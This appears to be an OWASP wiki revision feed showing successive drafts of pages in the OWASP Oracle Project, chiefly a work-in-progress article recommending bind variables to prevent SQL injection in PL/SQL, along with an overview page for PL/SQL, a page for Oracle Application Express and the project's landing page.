But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.<br />
<br />
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]<br />
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46380PL/SQL:SQL Injection2008-11-13T16:22:43Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Lateral SQL injection==<br />
<br />
<br />
<br />
==Stored Procedures==<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the availeble tables, it columns and the types. So we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
==Bind variables==<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.<br />
<br />
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
* [2] [http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-litchfield.pdf David Litchfield's presentation on SQL injection at Black Hat, May 2004]<br />
* [4] [http://en.wikipedia.org/wiki/Codd's_12_rules Codd's 12 rules (0..12)]<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46379PL/SQL:SQL Injection2008-11-13T16:14:10Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Lateral SQL injection==<br />
<br />
<br />
<br />
==Stored Procedures==<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the rules described by CoddSo we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
==Bind variables==<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.<br />
<br />
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46378PL/SQL:SQL Injection2008-11-13T16:02:42Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 13/11/2008<br />
<br />
==Overview==<br />
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application. It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].<br />
<br />
<br />
==Lateral SQL injection==<br />
<br />
<br />
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection.<br />
<br />
==Stored Procedures==<br />
<br />
<br />
==Solution==<br />
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.<br />
<br />
Another solution often found is to obfuscate the table and columns. Now this is not going to work as one of the rules described by CoddSo we need to make the understand eachother better. We can do this by seperating the data from the logic.<br />
<br />
==Bind variables==<br />
These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages<br />
<br />
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester.<br />
<br />
This is probably the only attackvector that when it is correctly fixed, it will also give you an performance improvement :)<br />
<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=SQL_Injection_in_PL/SQL&diff=46376SQL Injection in PL/SQL2008-11-13T15:31:55Z<p>Mjk303: SQL Injection in PL/SQL moved to PL/SQL:SQL Injection</p>
<hr />
<div>#REDIRECT [[PL/SQL:SQL Injection]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=46375PL/SQL:SQL Injection2008-11-13T15:31:54Z<p>Mjk303: SQL Injection in PL/SQL moved to PL/SQL:SQL Injection</p>
<hr />
<div>http://www.securityfocus.com/infocus/1644</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=46374Application Express (ApEx)2008-11-13T15:29:39Z<p>Mjk303: </p>
<hr />
<div>Oracle Application Express (Oracle APEX), formerly called HTML DB, is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, you can develop and deploy professional applications that are both fast and secure. Oracle application express combines the qualities of a personal database, productivity, ease of use, and flexibility with the qualities of an enterprise database, security, integrity, scalability, availability and built for the web. Application Express is a tool to build web-based applications and the application development environment is also conveniently web-based.<br />
<br />
''A more generic description is needed, this is a copy from the Oracle ApEx Site''<br />
<br />
<br />
<br />
<br />
== References ==<br />
* [1] [http://www.oracle.com/technology/products/database/application_express/html/what_is_apex.html Official Oracle ApEx website]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL&diff=46373PL/SQL2008-11-13T15:29:31Z<p>Mjk303: </p>
<hr />
<div>PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.<br />
<br />
The key strength of PL/SQL is its tight integration with the Oracle database.<br />
<br />
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.<br />
<br />
* [[PL/SQL:SQL Injection]]<br />
* [[PL/SQL:Cursor Injection]]<br />
* [[PL/SQL:Dangling Cursor Snarfing]]<br />
* [[PL/SQL:Buffer overflow]]<br />
* [[PL/SQL:Privilege escalation]]<br />
<br />
http://en.wikipedia.org/wiki/PL/SQL<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL&diff=46370PL/SQL2008-11-13T15:12:06Z<p>Mjk303: </p>
<hr />
<div>PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.<br />
<br />
The key strength of PL/SQL is its tight integration with the Oracle database.<br />
<br />
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.<br />
<br />
* [[SQL Injection in PL/SQL]]<br />
* [[Cursor Injection in PL/SQL]]<br />
* [[Dangling Cursor Snarfing in PL/SQL]]<br />
* [[Buffer overflow in PL/SQL]]<br />
<br />
http://en.wikipedia.org/wiki/PL/SQL<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Frameworks]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL&diff=46369PL/SQL2008-11-13T15:11:47Z<p>Mjk303: </p>
<hr />
<div>PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.<br />
<br />
The key strength of PL/SQL is its tight integration with the Oracle database.<br />
<br />
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.<br />
<br />
* [[SQL Injection in PL/SQL]]<br />
* [[Cursor Injection in PL/SQL]]<br />
* [[Dangling Cursor Snarfing in PL/SQL]]<br />
* [[Buffer overflow in PL/SQL]]<br />
<br />
http://en.wikipedia.org/wiki/PL/SQL<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Framworks]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL&diff=46368PL/SQL2008-11-13T15:10:30Z<p>Mjk303: </p>
<hr />
<div>PL/SQL (Procedural Language/Structured Query Language) is Oracle Corporation's proprietary procedural extension to the SQL database language. Some other SQL database management systems offer similar extensions to the SQL language. PL/SQL's syntax strongly resembles that of Ada.<br />
<br />
The key strength of PL/SQL is its tight integration with the Oracle database.<br />
<br />
PL/SQL is one of three languages embedded in the Oracle Database, the other two being SQL and Java.<br />
<br />
* [[SQL Injection in PL/SQL]]<br />
* [[Cursor Injection in PL/SQL]]<br />
* [[Dangling Cursor Snarfing in PL/SQL]]<br />
* [[Buffer overflow in PL/SQL]]<br />
<br />
http://en.wikipedia.org/wiki/PL/SQL<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=Category:OWASP_Oracle_Project&diff=46367Category:OWASP Oracle Project2008-11-13T15:03:10Z<p>Mjk303: </p>
<hr />
<div>==About==<br />
The OWASP Oracle Project's goal is to enable administrator and developers using Oracle databases, frameworks or tooling to build secure applications efficiently.<br />
<br />
==Joining the Project==<br />
<br />
Marinus J. Kuivenhoven leads the project. The project's high level roadmap can be found at the [[OWASP Oracle Project Roadmap]]<br />
* Please submit your ideas for individual articles to the [[Oracle Project Article Wishlist]].<br />
* If you'd like to contribute:<br />
# visit the [[Tutorial]], <br />
# join the [http://lists.owasp.org/mailman/listinfo/oracle-project mailing list] <br />
# and pick a topic from the [[OWASP Oracle Table of Contents]], or suggest a new topic.<br><br />
Remember to add the tag: <nowiki>[[Category:OWASP Oracle Project]]</nowiki> to the end of new articles so that they're properly categorised.<br />
<br />
=Oracle Security Overview=<br />
<br />
==Why Oracle Security???==<br />
<br />
; Architects<br />
: With Oracle now supporting the grid computing architecture, security has spread from one machine to several, which increases the chance on a vulnerability.<br />
<br />
;Administrators<br />
:Oracle is not the fastest releaser of patches, but because of the complexity of most systems, also DBA's often take their time to patch the system, because they don't want to break a running application. Also Oracle is great at enabling a lot of features by default, if you don't know what they do and which you really need, you could have a lot more vulnerabilities than you could handle. A DBA simply needs to understand who is accessing their database and how it is done.<br />
<br />
;Developers <br />
:Legacy frameworks like Oracle Designer and Oracle Forms have built-in support for making a SQL injection, even when working in a non webbased enviroment. The newer framesworks (like ADF and Application Express) are great in making it easy to develop database oriented applications. But they are meta-frameworks, which makes understanding what is going on on a lower level, virtually impossible for most developers.<br />
<br />
;Deployers<br />
:Since most DBA's are now unintended Web- and ASadministrators, their knowledgde is small and one-sided.<br />
<br />
;Testers<br />
:Even though the old Oracle products are well known and the newer ones are J2EE based, their possibilties are not that well documented, so finding vulnerabilities for most testers will be a lot harder than say a .net enviroment.<br />
<br />
==Touchpoints==<br />
<br />
===Network===<br />
<br />
* [[TNS]]<br />
* [[Listner]]<br />
* [[DBNSMP]]<br />
<br />
===Applications===<br />
<br />
* [[E-business Suite]]<br />
* [[SOA Suite]]<br />
* [[BI Suite]]<br />
<br />
===Development===<br />
<br />
* [[PL/SQL]]<br />
* [[Oracle Forms]]<br />
* [[Application Express (ApEx)]]<br />
* [[Application Development Framework (ADF)]]<br />
* [[JDeveloper]]<br />
* [[Java]]<br />
<br />
===Database===<br />
<br />
* [[Oracle Express 10g]]<br />
* [[Oracle 11g]]<br />
* [[Oracle 10g]]<br />
* [[Oracle 9i]]<br />
* [[Oracle 8i]]<br />
<br />
===Operating System===<br />
<br />
* [[Windows]]<br />
* [[*nix]]<br />
<br />
[[Category:Platform]]<br />
[[Category:OWASP Project]]</div>Mjk303https://wiki.owasp.org/index.php?title=Secure_Other_executables&diff=23010Secure Other executables2007-11-05T10:06:53Z<p>Mjk303: Replacing page with 'http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.3'</p>
<hr />
<div>http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.3</div>Mjk303https://wiki.owasp.org/index.php?title=Oracle_Binairy_Permissions&diff=23009Oracle Binairy Permissions2007-11-05T09:46:06Z<p>Mjk303: Replacing page with 'http://www.petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;action=display;num=1155183396
http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.2'</p>
<hr />
<div>http://www.petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;action=display;num=1155183396<br />
<br />
http://www.oracle.com/technology/pub/articles/project_lockdown/phase1.html#1.2</div>Mjk303https://wiki.owasp.org/index.php?title=Application_Express_(ApEx)&diff=23008Application Express (ApEx)2007-11-05T09:39:22Z<p>Mjk303: New page: http://www.oracle.com/technology/oramag/oracle/06-sep/o56browser.html</p>
<hr />
<div>http://www.oracle.com/technology/oramag/oracle/06-sep/o56browser.html</div>Mjk303https://wiki.owasp.org/index.php?title=Dangling_Cursor_Snarfing_in_PL/SQL&diff=23006Dangling Cursor Snarfing in PL/SQL2007-11-05T09:18:35Z<p>Mjk303: New page: http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf</p>
<hr />
<div>http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf</div>Mjk303https://wiki.owasp.org/index.php?title=Cursor_Injection_in_PL/SQL&diff=23005Cursor Injection in PL/SQL2007-11-05T09:17:51Z<p>Mjk303: New page: http://www.databasesecurity.com/dbsec/cursor-injection.pdf</p>
<hr />
<div>http://www.databasesecurity.com/dbsec/cursor-injection.pdf</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&diff=23004PL/SQL:SQL Injection2007-11-05T09:15:54Z<p>Mjk303: New page: http://www.securityfocus.com/infocus/1644</p>
<hr />
<div>http://www.securityfocus.com/infocus/1644</div>Mjk303